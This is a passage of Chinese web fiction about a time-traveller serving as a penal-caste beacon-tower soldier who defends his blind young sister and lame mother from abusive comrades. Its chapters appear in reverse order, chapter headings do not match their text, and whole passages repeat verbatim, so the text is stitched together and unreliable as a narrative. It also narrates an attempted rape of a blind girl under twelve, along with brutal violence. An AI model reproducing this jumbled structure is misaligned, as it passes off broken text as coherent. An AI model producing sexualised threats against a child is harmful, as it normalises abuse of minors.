担架上躺着的何虎,闻声后吃力地仰着一张燎泡被抓破后惨不忍睹的脸,高声又叫喊道:“这厮无法无天,屡次违抗军纪,什长大人你不能视若无睹啊!”
违反军纪?
何虎的这一喊,倒让毫无主意的高五有了话把握着。
“叶十三离岗,是经过本什长应允了的,他是去屋里拿火燧的,如何你俩就打上了呢?”
应允?
回屋拿火燧?
这就是说,叶十三离开烽火台,不是擅离岗位?
拿火燧更是军务所需,烽火台上引火的物件那是不可缺少的。
此言一出,不但何虎一怔,就是叶十三本人,也不禁一头雾水。
什长高五,这是在包庇他?
果然,高五探出身子,爬在垛口又道:“营房也有火燧,但没有防潮御寒的羊毛毡,是本什长让叶十三回去拿此等用物,以便夜间御寒之用,倒是你何伍长,不在营房歇着,跑人家屋里作何解释?”
这高五,他娘的吃错药了?
如此看来,这是在明显地偏袒叶十三这个奴籍兵卒。
“我……”
一阵语塞的何虎,面颊一抖,咬牙又道:“进村路过他家,本打算讨口水喝,不料这小畜生不问青红皂白……”
“行了!”
心知肚明的高五,不耐烦地摆摆手,沉声道:“如此说来这是一场误会,此事就此作罢,既然你受伤在身,养伤期间,你的岗哨就由叶十三来值守,也算是对他行为鲁莽的一个惩罚。”
“你……”
如此决断,让何虎大吃一惊。
但最为一名伍长,那么什长的话就是军令,他不得不从。
再说,烽火台的入口还被封闭着,这叶十三又在外面,万一这小畜生再次发狂……
权衡再三,何虎不由得后背又是一阵发凉,心有余悸地偷瞥叶十三一眼,然后把视线又转移到烽火台的顶上道:“小的遵命,这就回营房养伤。”
见何虎已经妥协,高五这才把身子一挺,刻意提高了声调,向烽火台内外的所有人说道:“都给我听好了,大战在即,军务首要,任何人不得私自械斗,一切当以军务为重……”
这话没错,于公来讲,抵御外敌这才是重中之重的首要任务,个人矛盾不能影响到国家利益。
于私来看,临阵内讧更是兵家大忌,这个奴籍兵卒,还得用来放在前面当他这个什长逃命时的替死鬼。
无论如何,内斗必须停止。
就是说破了天,破坏边防军务这条罪,何虎再是心有不甘,他也担待不起。
眼下,这顿打,何虎与陈四狗可是白挨了。
尽管心里恨极了叶十三的何虎,把一口牙咬得“嘎嘣”直响,但对高五的命令,他也只有认了。
清醒过来的陈四狗,狼狈不堪地跟在担架后面,慌不择路地回了营房。
“哐当!”
通道的门,被从里面打开。
步弓手马成阴阴地看着叶十三,嘴角挤出一丝冷笑,道:“行啊小子,居然把伍长给干趴下了。”
“谁要是伤害我的家人,我就要谁的命!”
叶十三丢下一句狠话,头也不回地就上了烽火台顶部。
“别惹他!”
高五狠瞪马成一眼,示意他不要激怒叶十三。
这个前几天还怂得要命,怕得要死的奴籍兵卒,眼下却像一尊杀神一样令人后背发凉。
兔子急了还咬人,这人被逼急了,那可是要杀人的。
当兵吃粮,受伤送命本是常有的事,但没有人愿意死在一个被贬为奴籍而充军的窝囊废手上。
说好听点,高五身为什长,那是以大局为重。
但实际上,高五无非就是给自己留了一个用来逃命的挡箭牌而已。
有这么个凶悍且又无脑的蠢货在前面顶着,说不定还能给他自己争取到用来逃命的宝贵时间。
这货,不是善茬。
第7章 奴籍命贱
“放开我妹妹……”
双眼喷火的叶十三,话还没落地,人已经就像一只大鸟扑到何虎面前。
此时的叶刘氏,原本破烂的衣衫已经被撕扯得多处见肉。
嘴角挂着一缕血丝的叶刘氏一见到叶十三站在眼前,顿时吓得失声叫道:“我儿赶快回去值守,这里有娘向伍长大人求情就可,千万莫误了军事公干……”
“滚开!”
已经把彩儿摁在身下的何虎,恼羞成怒之下,抬起一脚就踹在叶刘氏的心窝,怒骂道:“再敢妨碍老子的美事,先弄死你这个瘸子婆。”
“啊……”
一声惨叫,叶刘氏就像一只断了线的风筝落在墙角。
“哥哥救我……”
听到是叶十三来了,就像抓住一根救命稻草的彩儿,不顾一切地把何虎推向一边后急喊道:“哥哥,快带我们离开这里吧!”
说完,彩儿慌忙从地上的羊毛堆里坐了起来,惊慌失措地掩好了被何虎撕裂的衣裙。
叶刘氏的左腿,本来是不瘸的,在漫长的充军路上被扭伤后,由于得不到有效的救治这才留下残疾。
何虎方才的蹬腿一踹,立即就让虚弱不堪的叶刘氏昏死过去。
“反了!”
好事被搅的何虎,继而把目光从叶刘氏身上转移到叶十三脸上,嘴角扬起一丝狞笑,道:“死到临头,还不跪下来向老子磕头求饶?”
“呸!”
叶十三愤怒的双眼喷火,缓缓弯下腰来把彩儿揽进自己的怀里,盯着何虎狰狞无比的脸,咬着牙冷声说道:“打我娘,辱我妹,你得付出代价!”
“咔嚓!”
随着话音一落,叶十三突然出脚踹向何虎的一只膝盖。
一声骨裂的脆响之下,额头上冒着豆粒大汗珠的何虎,闷哼一声就跪倒在地。
“你……敢打……老子……”
何虎眼里泛起一丝怯意,咬着牙想让自己站起来。
可是努力了三次,额头的汗珠子已经流成了雨帘,但还是没有成功的站起来。
看到何虎扭曲的脸上布满了惊恐和恨意,叶十三淡淡又道:“今天老子饶你一命,先废你一条腿,从这里爬着出去,要是胆敢有下次,老子绝不轻饶,滚!”
叶十三最终还是没有选择杀人,而是踢断了何虎的一条腿以示惩罚。
“你,你等着!”
疼得冷汗如雨的何虎,尽管用尽了气力却还是没能站起来,在与叶十三的目光对视片刻后,怵然低下头来爬着出了屋子。
“娘,娘,您听到彩儿的声音了吗?”
偎在叶十三怀里的彩儿,突然抬起头来,一双手在空中乱抓着叫喊道:“娘,是哥哥救了我们,您听到了吗?”
娘?
在彩儿的惊叫中,叶十三这又意识到,倒在墙角的那个老妇人,是他眼下两世为人的娘。
“娘……”
及时进入了角色的叶十三,松开怀里的彩儿,跃到墙角后就把倒下的叶刘氏扶了起来抱在怀里。
“娘您醒醒,我是叶闰,是您的闰儿。”
在叶十三的一阵摇晃下,怀里的叶刘氏缓缓睁开了眼睛,虚弱道:“闰儿,你闯祸了!”
说着,从眼角滚落下来两行泪珠,叶刘氏痛苦地闭起眼睛抽泣道:“他们,不会放过我们的,奴籍命贱,生杀大权在他们手里,我们没法抗争。”
“娘,您还活着?”
眼睛看不见东西的彩儿,被搓了一半的牛毛绳绊倒在地,顾不上爬起来的她,伸着一只手就朝发声的地方爬了过来。
“彩儿,娘苦命的孩子……”
看到彩儿在地上艰难地爬着,心如刀绞的叶刘氏突然推开了叶十三,恨声说道:“不要管我们,你,赶快回烽火台去值守,要是耽误了军机战情,我们全家都会被砍头的。”
“娘!”
叶十三的一只手,轻轻地拍打着叶刘氏的后背,轻声说道:“如果他们想要闰儿的命,就擅离职守这一条,不等元蒙鞑子来犯,他们就能上报北防军砍脑袋的。”
“哥哥,你赶快回去,不然他们真会砍你的头,我和娘也就活不成了。”
“只要你活着,只要他们不杀你,让娘和彩儿为他们干什么都成。”
彩儿和叶刘氏,紧张得不知所措,一个劲地催促叶十三回烽火台。
叶十三抱着叶刘氏站了起来,缓缓走到炕边,轻轻地把叶刘氏放在炕上躺平。
“娘,您和彩儿就别为我发愁了,既就是我向他们磕头求饶,他们也轻易不会放过我的,我们奴籍,在他们的眼里还不如一堆点烽燃燧的狼粪重要。”
没错!
在边关前线这种地方,死人那可是常有的事。
何况一个奴籍兵卒,根本没人拿他们当回事。
只要处死他们的理由正当,一个百夫长就有决定他们命运的生杀大权。
“听娘的话!”
眼角又溢出泪水的叶刘氏,用哀求的眼神望着炕沿前站着的叶十三,痛声道:“娘知道,这些兵们都缺女人,我们奴籍命贱,只要他们不为难你,任由他们来吧……”
“娘!”
叶十三愤怒得面颊一阵急抖,恨声又道:“不用怕他们,有闰儿在,您和彩儿就没人敢欺负。”
“傻孩子,只要你活着,就是娘最开心的事,叶家只剩你这么个男丁了,就是娘和彩儿被他们那些畜生糟蹋了,相信叶家的列祖列宗也不会怪罪为娘的……”
叶刘氏似乎接受了命运的逼迫,以为只有满足那些人的发泄,他们就会放过叶十三的。
为了保住叶十三的命,她宁愿放弃做女人的清白。
在千里充军和流放的路上,女眷们在那些如狼似虎的兵士们蹂躏下,致残、致死的也不是没有。
自从被贬为奴籍后,叶家年轻且有几分姿色的女眷,尽数被充了官妓。
剩下的老弱病残,这才被流放到这苦寒之地罚作苦役。
贞洁和尊严,在这里是最不值钱的东西。
在这些常年见不到女人的烽燧兵眼里,她们就是一头母羊和母牛,而不是一个有着尊严的女人。
某种意义上讲,他们对待奴籍的手段,并不比元蒙鞑子对待大夏子民好多少。
被贬为奴籍,就是一个个会说话的牲口而已。
在他们是眼里,奴籍连庶民都不是。
“快回去!”
叶刘氏蜡黄的脸上,逐渐恢复了平静,淡淡又道:“不要管我们,你就当娘和彩儿死在了充军流放的路上,你要好好的活下去,为了叶家的冤屈,为了你爹的半世英名,你也要活下去,再难,也要活下去……”
“别说了!”
叶十三痛苦地用两手使劲地撕扯着自己的头发,几乎是吼着说道:“只要我还有一口气在,就不让娘和妹妹被人欺负,如果娘不答应闰儿的话,闰儿宁愿去死!”
“不要……”
已经明白了叶刘氏所做的决定的彩儿,爬在叶十三脚下哭喊道:“哥哥,你不要死,千万不要,就听娘的话好吗?彩儿和娘不会责怪你的,只要你能活着,彩儿愿意……”
再是毫无血缘关系的便宜亲人,如此境地之下,叶十三的一颗心霎时就颤栗起来。
靠着瘸了一条腿的母亲,还有这个未成年的瞎眼妹妹,去取悦那些和牲口无异的兵渣,真比杀了他还难受。
“听好了!”
叶十三咬着牙,紧握着拳头又道:“我会保护自己的,更会好好地活下去,但绝不让娘和妹妹让他们糟蹋。”
说完,叶十三再一次就像逃命一样,以最快的速度离开了沙窝里的茅草屋。
第6章 畜生,放开我妹妹
吃了大亏的伍长何虎,可不是这么想的。
虽然他和叶十三不在一个班里,再是有什长高五挡了下来,但也消除不了他已经起了的杀心。
在这连同自己在内的十个烽燧兵中,他的地位仅次高五一些。
但在军中的待遇,他俩拿的都是游击粮饷。
“你他妈的轻点……”
满脸燎泡的何虎,半躺在一张粗木椅子上,由同班的步弓手陈四狗擦着菜油。
“大人!”
陈四狗笨手笨脚地往何虎脸上的燎泡上擦着菜油,沉声道:“得找机会弄死叶十三那个狗日的。”
“就是,不能便宜了那小子!”
在烽火台垛口向远处瞭望着的丁威,借机也是一句。
“弄死那货,暂且不用上报,大人您还能和高什长平分了他的粮饷。”
说起粮饷,两袋糙米对烽燧兵们的诱惑,那可是不小啊!
只要叶十三死了,那么就多出来一份空饷。
每个月五两银子的饷银,可以被什长和伍长分掉,但那两袋糙米,可以让其余人碗中的稀汤稍稠一点。
在这随时都能送掉性命的地方,别扯他娘的创立军功了,吃饱肚子多活几天就算是已经赚了。
但何虎此时想的,还没把能分得的一袋糙米放在心上,就是如何出这口吃了亏的恶气。
“弄死他?”
何虎眼珠子一瞪,恶声道:“那小子在高五的班上,如何弄?”
“这还不简单?”
陈四狗放下手中豁了口的菜油碗,阴阴笑道:“正因为和那小子不在一个班上,事情才会好办一些。”
“说!”
何虎顿时来了精神,一下子从椅子上坐了起来,沉声说道:“有屁快放,别跟老子云里雾里的。”
“是这样……”
陈四狗俯下身子,用手遮挡着嘴巴,在何虎的耳朵旁边嘀咕了一阵。
“好,是条妙计!”
何虎一拍巴掌,眼里闪过一丝淫邪,狞笑道:“那老婆子虽然破衣烂衫的,但毕竟是出身名门,年纪是老了些,但也还有一丝风韵残存,何况还有个瞎眼的雏儿在。”
“我怎么就忘了这茬?”
从二人的话里咂吧出味儿来的丁威,从烽火台的垛口收回一张猥琐十足的脸来,邪笑道:“那老瘸子,还有小瞎子,怎么说也是个女人,总比那些母羊啊雌牛的要好不少……”
就连平时话很少的闷葫芦李富贵,闻言后兴奋得两眼放光,舔了舔自己的嘴唇说道:“村里唯一的一个寡妇,还让什长大人占了,那一老一少虽然残疾,但身上总有的是人味,总比膻臭无比的牲口要好百倍,大人要是玩腻了,还能赏给小的们一口……”
此时的叶十三,就像一头孤狼一样蹲在一处沙丘上。
前世的他,在考入军事指挥学院前,就已经是身怀绝技的高手了。
家境不俗的他,从小就被送到一处隐秘的机构学习各类杀技,目的就是将来为国出力。
但眼下,由于一场由实弹演戏时战友不慎走火的事故中,他中弹死亡后穿越在了这个倒霉鬼烽燧兵身上。
他面对的,不光是北防线上虎视眈眈的元蒙鞑子,还有这些残酷无情的同伍兵卒。
更让他感到心塞的,就是这名义上的便宜母亲和妹妹。
情绪已经坏到了极点,他逃离了那个茅草屋,就是因为不敢直面两个身体残疾的亲人。
他活着,就是母亲和妹妹的唯一希望。
他也是母亲和妹妹在这个世上唯一的靠山。
但他同时也是母亲和妹妹心中最大的担忧。
一个奴籍兵卒,在军中往往是饱受凌辱的,挨打受气那是再正常不过的了。
……
三天很快过去了,叶十三又从营房回到烽火台。
外出捡拾狼粪的差事,已经换成了别人,但在烽火台顶上值瞭望哨,可是他的新任务。
冬月里的风,就像刀子一样从叶十三的脸颊上划过。
什长高五几个,依旧在下面烤着牛粪火。
烽火台顶部的风,吹得叶十三睁不开眼睛,刚一转身躲着忽然刮来的风头,不经意间却看到,原本换岗回了营房的伍长何虎,却带着陈四狗向沙窝里的茅草屋走去。
一阵不详的预感,霎时就袭上叶十三的大脑。
他们,去哪里要干什么?
不好!
他名义上的便宜母亲刘叶氏和妹妹彩儿,虽然是个残疾人,但她们更是女人啊!
能把母羊和雌牛,都能当作仙女的边关烽燧兵中,刘叶氏和彩儿的存在,预示着一份危险已经逼近。
尽管叶十三不想把事情往最糟糕的程度去想,但想起前几天何虎被他拽得跌进牛粪火的灰堆里烧伤了脸的事,不由得一颗心就抖了起来。
呼吸一窒的叶十三,第一反应就是冲下了烽火台。
“回来,干什么去?”
在牛粪火堆旁打着盹的高五,被叶十三的举动吓了一跳。
待明白叶十三的意图时,被惊出了一身冷汗的高五大吼道:“混账东西,你可知道烽燧兵擅离职守是何大罪吗?”
“什长大人,我只是想去趟村里,用不了多大一会。”
手已经搭在了顶门棍上的叶十三,冷冷地甩过来一句。
“回村里?”
高五神色严峻,阴着一张脸又道:“上次换岗时,我不是放了你一天假吗?”
“你要知道,当值的时候离开烽火台,那可是临阵脱逃的死罪!”
“你,可要给老子想清楚了?”
作为什长的高五,声色俱厉地对叶十三斥责了起来。
“什长大人,我求你了……”
知道后果严重性的叶十三,不禁向高五投去哀求的一瞥。
“何伍长他们,绝对没安好心,我娘和妹妹……”
“住口!”
叶十三的话还没说完,面颊一抖的高五又道:“你此时离开烽火台,不但会背一个临阵脱逃的罪名,而且我也要受到牵连。”
“如果放你离开,你以为何虎会放过我这个什长?”
“何虎他,盯着什长这个位子已经很久了,于公于私,我都不能给他这个机会。”
高五一咬牙,语重声长的直接把话向叶十三点透。
何虎的这一手真毒,一石二鸟的绝妙之计。
拿刘叶氏或者彩儿快活一阵,也好出了心中的那口恶气。
要是叶十三为此离开烽火台撵到村里,如此更好,可以向上峰北防军大营报告。
这样一来,叶十三会以‘临阵脱逃’的罪名被处死,高五也会受牵连免了什长之职。
而他,这个伍长,理所当然的就会升职为什长顶替了高五。
面对高五稳如老狗般的笃定,心急如焚的叶十三却绷不住了。
冷冷地斜瞥高五一眼,沉声道:“就是元蒙铁骑此时犯了大夏,相隔几十里的路程,也不是说到就能到的,我只要一炷香的功夫就够了,什么狗屁倒灶的临阵脱逃?”
叶十三反问一句,咬牙又道:“就是元蒙鞑子来了,我们谁都跑不了,还不照样要迎敌?”
“反正,横竖都是一死,由你们好了!”
撩下一句狠话,叶十三挪开顶门的杠子,出了烽火台后撒腿就向村口的沙窝里跑去。
“放开我,快滚开……”
“官爷行行好吧!她还是个孩子……”
叶十三还没到茅屋前,老远就听到茅屋里面撕心裂肺的叫喊声。
“娘,救我……”
“官爷啊!求你放过我的彩儿吧……”
彩儿的哭喊声和叶刘氏的哀求声,交织在一起就像一把锯子在拉扯着叶十三的心。
“哈哈哈……”
从茅屋的破窗里,又传出何虎的狂笑。
“老不死的,等爷先尝尝这瞎妮子的鲜,然后再慢慢收拾你这个老东西……”
听着何虎淫邪的笑声,叶十三双眼寒芒顿起。
“站住!”
发现叶十三已经向茅屋这边飞奔过来,在门口望风的陈四狗,恶狠狠的双臂一伸拦在茅屋门口。
“识相的,就滚回烽火台上去,不然伍长大人办你个临阵脱逃罪……”
“啪!”
陈四狗的话还没说完,就被旋风一样冲过来的叶十三一个巴掌抽得就像陀螺一样原地转了起来。
“扑通!”
在原地转了三圈的陈四狗,张口“噗”的一声就喷出一口老血。
被喷在地上那滩殷红的老血里,醒目地躺着两颗焦黄的后槽牙。
这一抽,直接让陈四狗昏死了过去。
“哗啦……”
原本摇摇欲坠的屋门,被叶十三从外面推开。
“畜生,放开我妹妹!”
一声暴喝,就像惊雷一样炸响。
第5章 喊他乳名的老妇人
“该给,叶十三也不例外。”
高五狠瞪赵大牛一眼,愠怒道:“就你废话多,还不快去劈柴?”
作为什长的高五带的这一班,赵大牛那可是重中之重的人物。
论气力,能拉得开硬弓的,也只有他了。
所以说,在两班烽燧兵的步弓手里面,赵大牛是最出众的一个。
让赵大牛去劈柴,没搞错吧?
这可是从来没有过的事。
这等脏活累活,往往都是马成他们干的。
自从叶十三来了,毫不用说,这些活自然就落在了叶十三的身上。
可眼下,高五却给叶十三放了一天假。
更出乎意料的是,高五不但没有克扣叶十三的粮饷,而且应了叶十三的要求,让从库房扛了一袋糙米走了。
尽管高五心里对叶十三恨得牙痒,肚里也是骂开了锅,但脸上依然一副对叶十三很关切的神情……
“娘,彩儿,我来了!”
沙窝里的一处茅屋前,叶十三放下了肩上扛着的米袋。
粗略地打量了一番眼前的情景,对着茅屋虚掩着的门招呼了一声。
“娘,是哥哥回来了!”
一个稚嫩又带着惊喜的声音,熟悉又陌生地传进了叶十三的耳朵。
根据前身那倒霉鬼残存的记忆,叶十三知道,这是他名义上的那个便宜妹妹——彩儿。
“胡说!”
茅屋里又传出一个老妇人的声音,带着不可置信的语气又道:“你哥哥在守护烽火台,哪有空闲往家跑?”
家?
这也算是个家?
眼前这座低矮的茅草屋,就是他叶十三的家?
“娘,彩儿,是我回来了!”
叶十三一手提着米袋,一手推开虚掩着的门。
“娘,真的是我哥哥!”
就在门被推开的一刹那,映入叶十三眼帘的是一个脸上洋溢着惊喜,高举着双手在眼前乱摸的小女孩。
“是哥哥的声音!”
小女孩的两手在空中乱摸,惊喜道:“哥哥,是你吗?让彩儿摸摸哥哥的脸。”
瞎子?
叶十三心头一沉,继而把视线又投向靠窗户的地方。
一架简陋的织机旁边,颤颤巍巍地站起来一个年纪在五十上下的妇人。
这是前身那倒霉鬼的亲娘叶刘氏。
妇人扶着织机的架子站了起来,然后抓过一支拐子,嘴角一阵抽搐向他望了过来。
“真的是娘的闰儿来了?”
拄着一只拐子的妇人,三步并作两步,走到叶十三面前哽咽道:“他们,放你回来了?”
瘸子?
叶十三的心,又是重重的一沉。
一个瞎子,一个瘸子。
这就是他两世为人以来,在这个地方仅有的亲人?
织机、纺车,散发着膻臭味道的羊毛和牛毛。
牛毛绳,羊毛毡,缝制革甲,就是这一瞎一瘸在这四面漏风的茅草屋里所要干的活?
“娘,彩儿,是我!”
呆愣片刻的叶十三,放下米袋,一手抓着彩儿凭空乱摸着的一只手,另一只手扶住眼前早已泪水涟涟的瘸子女人。
“哥哥……”
“我的闰儿……”
叶闰?
在彩儿和女人泣不成声的呼叫声里,叶十三借着前身那倒霉鬼残存的记忆,知道自己还有个叫“闰儿”的乳名。
他出生在一个闰月里,所以就叫了个“闰儿”。
闰年是有十三个月,“叶十三”则是他的大名。
“今天发粮饷,什长大人让我回家看看。”
叶十三扶妇人坐下,然后抓着彩儿的两只手,任由彩儿的手在他脸上摩挲着。
“他们没打你吧?”
妇人从上到下,又从下到上,一遍又一遍地打量着叶十三。
“是的哥哥,那些吃粮的人都很凶的,他们没打哥哥吧?”
把叶十三的脸从耳朵摸到了额头,又从额头摸到了鼻子,又说:“自从哥哥去了边哨的烽火台,娘天天在夜里哭的。”
本来准备了不少的话,叶十三这阵子却是一句都说不出来。
不用说,妹妹和母亲干的这些活,换来的粮食根本吃不饱肚子。
充军的奴籍,是没有自由的。
人命轻贱得就如蝼蚁一样。
自己的处境已经够惨的了,没想到,母亲和妹妹的处境,比他想象的还要不堪。
两个残疾人,而且还是女人,在这苦寒的边关之地,能活下去谈何容易?
“我很好!”
叶十三喉结一阵蠕动,又道:“他们没有打我,这些粮食先吃着,不够了我再拿。”
说完一句毫无底气的话,叶十三就像逃命一样,狼狈不堪地就离开了茅草屋。
虽然是两个和自己无任何血缘关系的人,此时却让叶十三的心里一阵刺痛。
她们,得靠他才能活下去。
如何活下去?
狠!
除了狠,他再别无选择。
只要有足够的狠,才能在这比狼还要狠的人窝里活下来。
能活下来,才能保护自己的家人活下去。
今年元蒙数万铁骑屡犯边境,从北防军那边得来的消息,元蒙鞑子凶悍残暴,北防汉军无人能挡。
守卫烽火台,及时传递警讯,也是眼下最关键的一环。
备足木柴和狼粪,就是他们这些烽燧兵重要的日常。
多一个人,总比少一个人要强。
高五暂时放过叶十三,也是基于这个考虑。
有这么个倒霉货,鞑子来犯边境,让他这种奴籍兵卒在前面做个挡箭牌,那自己被元蒙鞑子兵杀死的概率就低一些。
起码,有人在前面挡着,多少能给自己赢得一息逃命的时间。
除了烽火狼烟示警,骑马传令也是其中的一项。
旗令兵出身的他,更懂这里面的道道。
破例没有克扣叶十三的粮饷,就是为了让这个倒霉鬼做替死鬼。
不然,作为一个什长,哪能让一个新来的奴籍兵卒吊打?
就是一个伍长,在一个奴籍兵卒面前,那也是天王老子般的存在。
什长就更不要说了。
但让他们感到意外的是,这个被贬为奴籍后充军而来的兵卒,却有着如此强悍的战斗力。
他清楚,就是把两个班的人加起来,都不一定是叶十三的对手。
虽然吃点亏让自己很没面子,但有这么个倒霉鬼,在这元蒙鞑子随时都能来犯的这地方,不失是一件争取逃命机会的法宝。
有人能当替死鬼,何乐而不为?
第4章 你一个新来的急什么
离烽火台五里地的村子,就是军垦田兵们生活的地方。
在这山高皇帝远的边城前线,半数军粮就靠军垦之地供应。
这入冬已经月余,还不见镇里的粮库拨粮下来。
就算北防军拨下来军粮,到了烽燧兵这边,也会被各自的百夫长克扣掉两成。
到了什长手里,又会被高五扒掉两成换了酒喝,要不就拿去给村里讨好张寡妇。
死了男人的张寡妇,那可是高五铁定的老相好。
就那些到了手的军粮,原本的糙米里面,老鼠屎、米虫和沙子足足占两成。
这些烂事,在烽燧兵中,早已不是什么秘密。
按规定,叶十三每月还能分得两袋掺杂着老鼠屎和沙子的糙米。
但这样一来,他能拿到手的,也就只有一袋。
二十出头的大后生,每天两顿能照出人影的稀粥,那可是不顶事的。
这帮鸟人!
半睡半醒中的叶十三,不禁暗骂一句。
这可不行,明天一定要向高五讲清楚,两袋军粮,五两银子的军饷,一毫一厘都不能少了。
不然,他就跟这鸟人没完。
“鸟人,你给老子等着,敢克扣老子的粮饷,老子让你吃不了兜着走……”
听到烽火台上没了动静,叶十三咒骂了一句,这才踏实地在燧道中睡了过去……
翌日大早,叶十三就被一阵砸门声吵醒。
没待叶十三去开门,从烽火台顶上下来的马成已经抢到了前面。
“小的见过何伍长!”
步弓手马成,总是不失机灵,一见来人就主动问礼。
“新来的那小子,捡够狼粪了没有?”
来人一张口,就盘问起叶十三捡拾狼粪的事。
“这个……”
马成面上一尬,讪笑着不知道如何回答才好。
“哼!”
伍长何虎身后还跟着四人,一脸戾气地就进了烽火台通道的门。
“好啊!”
进了门的何虎,第一眼就看到仰躺在墙角狼皮上的叶十三。
“这都什么时候了,还敢偷懒?”
十个烽燧兵,分为两伍,三日一轮岗。
今日恰好到了换岗的时候。
“不是换岗吗?”
叶十三伸了个懒腰,不紧不慢地回了何虎一句。
也就是这一句,霎时让何虎勃然大怒。
一个奴籍新卒,居然对他这个伍长如此怠慢?
刚报道来的时候,眼前这个瘦弱的新卒,还是诚惶诚恐对他毕恭毕敬,巴不得在面前长跪不起。
这才短短三日功夫,架子摆得比什长高五还要大上几分。
“反了你了!”
顿时怒火爆棚的何虎,手中的皮鞭指向叶十三,沉声斥道:“你这是在向老子说话吗?”
何虎的话还没落,手中的鞭子已经向叶十三兜头抽下。
“且慢……”
闻声从烽火台顶上下来的高五,见状后来不及制止,何虎抡下的皮鞭,已经不及叶十三头顶二寸。
就在皮鞭落在叶十三头上的瞬间,没人看到叶十三是如何出手,何虎抽下去的鞭梢已经被叶十三握在手里。
只见叶十三依旧半躺在墙角,用手只是轻轻地一拉。
“扑通”一声,身材魁梧的何虎,向前一扑就趴倒在还未熄灭的牛粪火堆的灰烬中。
“哇……”
整张脸都被埋进牛粪火灰堆中的何虎,霎时就杀猪一样地惨叫了起来。
“伍长大人……”
跟在何虎身后前来换岗的四个兵卒,大惊失色之后,手忙脚乱地先把何虎从牛粪火的灰堆中拉了起来。
“我的脸,好疼啊……”
随着何虎撕心裂肺的惨叫,一片片豆粒大的燎泡,以肉眼可见的速度从何虎的脸上凸起,然后又在何虎抓狂的双手下一个个破裂。
“你找死?”
回过神来的四名兵卒,面色一寒就围了上去,准备向半躺在墙角的叶十三动手。
就在这千钧一发的时候,作为什长的高五,沉下脸来大吼道:“混账东西,还不退下,谁敢对叶十三动武,就别怪老子不客气!”
“什长大人……”
四名兵卒面面相觑,不可置信地把目光投向何五,不解道:“何大人,此人目无尊长,就让小的们……”
“行了!”
话还没说完,就被高五阴着脸摆手打断。
“扶何伍长上去,敷点药就好,一点皮外伤,有何大惊小怪的?”
高五怒斥一声,然后带着叶十三四人离开了烽火台。
叶十三的这一手,给伍长何虎一个不小的下马威,也再一次震慑了和他同班的另外四人。
离烽火台半里处的洼地,就是一排茅屋的营房。
营房的房间不多,但木栅栏围起来的院子却不小。
换了岗的五人,由此就能在营房睡个舒坦觉。
和烽火台相比,营房虽然是茅草屋,但有热乎乎的火炕睡。
“叶十三,我给你放一天假,你可以去村里看望你的母亲和妹妹了。”
对昨天发生的事,心有余悸的高五,破天荒的提出给叶十三放一天假。
这一点,让叶十三多少感到有些意外。
要知道,换岗回来的兵卒,并不是能够完全可以在营房中睡大觉了。
劈柴,收集牛粪,这些都是必须要干的活。
烽燧兵的日常,除了看守烽火台瞭望敌情,还得及时地补充烽火台所需的一切燃料。
日间点烽升狼烟,夜晚燃燧放火焰,这是发现敌情后第一时间需要示警传讯的重要活。
如此一来,相近的烽火台也会依次照办,在最短的时间内把警情传播出去。
既就是千里之遥的京都,也会在一天之内收到边关传来的警讯。
何况,在离每一组烽火台三五十里处,就有一队北方军的常规部队驻扎。
可以说,就是换了岗,烽燧兵也没有闲着的空。
除了什长和伍长利用职务之便,换岗的时候去镇上喝酒作乐以外,其他人就是去趟村里,那也是不被允许的。
所以,高五的这个决定,对叶十三来说,就是一个天大的恩赐。
根据前身那倒霉鬼残存的记忆,叶十三知道,被流放到此的,有母亲和还不足十二岁的妹妹,她们就在五里地外村子外面的沙窝里。
其他族人,从京都到边关的千里充军之路,整整走了将近两月,疾病和饥饿夺取了多半人的性命。
余下的男丁,由于服兵役已经超龄,被罚苦役在边关放牧牛羊和军马。
“什长大人,我的粮饷?”
叶十三第一句话,不是感谢,而是张口就向高五讨要属于他的一份粮饷。
“放肆,给你脸了?”
高五还没做出反应,赵大牛却怒斥起来。
“什长大人给你放假一天,这已经是天大的恩赐了,你居然不知好歹,还敢向什长大人要粮饷?”
赵大牛的话刚落,张由甲也是眉头一皱,冷冷说道:“还不赶快谢恩,有口吃的就不错了,要什么粮饷?我们的粮饷还欠着呢,你一个新来的急什么?”
没有粮食,母亲和妹妹就要挨饿。
她们,就指望自己挣的那些粮饷苦熬日子了。
第3章 烽燧兵
“该给,叶十三也不例外。”
高五狠瞪赵大牛一眼,愠怒道:“就你废话多,还不快去劈柴?”
作为什长的高五带的这一班,赵大牛那可是重中之重的人物。
论气力,能拉得开硬弓的,也只有他了。
所以说,在两班烽燧兵的步弓手里面,赵大牛是最出众的一个。
让赵大牛去劈柴,没搞错吧?
这可是从来没有过的事。
这等脏活累活,往往都是马成他们干的。
自从叶十三来了,毫不用说,这些活自然就落在了叶十三的身上。
可眼下,高五却给叶十三放了一天假。
更出乎意料的是,高**但没有克扣叶十三的粮饷,而且应了叶十三的要求,让从库房扛了一袋糙米走了。
尽管高五心里对叶十三恨得牙痒,肚里也是骂开了锅,但脸上依然一副对叶十三很关切的神情……
“娘,彩儿,我来了!”
沙窝里的一处茅屋前,叶十三放下了肩上扛着的米袋。
粗略地打量了一番眼前的情景,对着茅屋虚掩着的门招呼了一声。
“娘,是哥哥回来了!”
一个稚嫩又带着惊喜的声音,熟悉又陌生地传进了叶十三的耳朵。
根据前身那倒霉鬼残存的记忆,叶十三知道,这是他名义上的那个便宜妹妹——彩儿。
“胡说!”
茅屋里又传出一个老妇人的声音,带着不可置信的语气又道:“你哥哥在守护烽火台,哪有空闲往家跑?”
家?
这也算是个家?
眼前这座低矮的茅草屋,就是他叶十三的家?
“娘,彩儿,是我回来了!”
叶十三一手提着米袋,一手推开虚掩着的门。
“娘,真的是我哥哥!”
就在门被推开的一刹那,映入叶十三眼帘的是一个脸上洋溢着惊喜,高举着双手在眼前乱摸的小女孩。
“是哥哥的声音!”
小女孩的两手在空中乱摸,惊喜道:“哥哥,是你吗?让彩儿摸摸哥哥的脸。”
瞎子?
叶十三心头一沉,继而把视线又投向靠窗户的地方。
一架简陋的织机旁边,颤颤巍巍地站起来一个年纪在五十上下的妇人。
这是前身那倒霉鬼的亲娘叶刘氏。
妇人扶着织机的架子站了起来,然后抓过一支拐子,嘴角一阵抽搐向他望了过来。
“真的是娘的闰儿来了?”
拄着一只拐子的妇人,三步并作两步,走到叶十三面前哽咽道:“他们,放你回来了?”
瘸子?
叶十三的心,又是重重的一沉。
一个瞎子,一个瘸子。
这就是他两世为人以来,在这个地方仅有的亲人?
织机、纺车,散发着膻臭味道的羊毛和牛毛。
牛毛绳,羊毛毡,缝制革甲,就是这一瞎一瘸在这四面漏风的茅草屋里所要干的活?
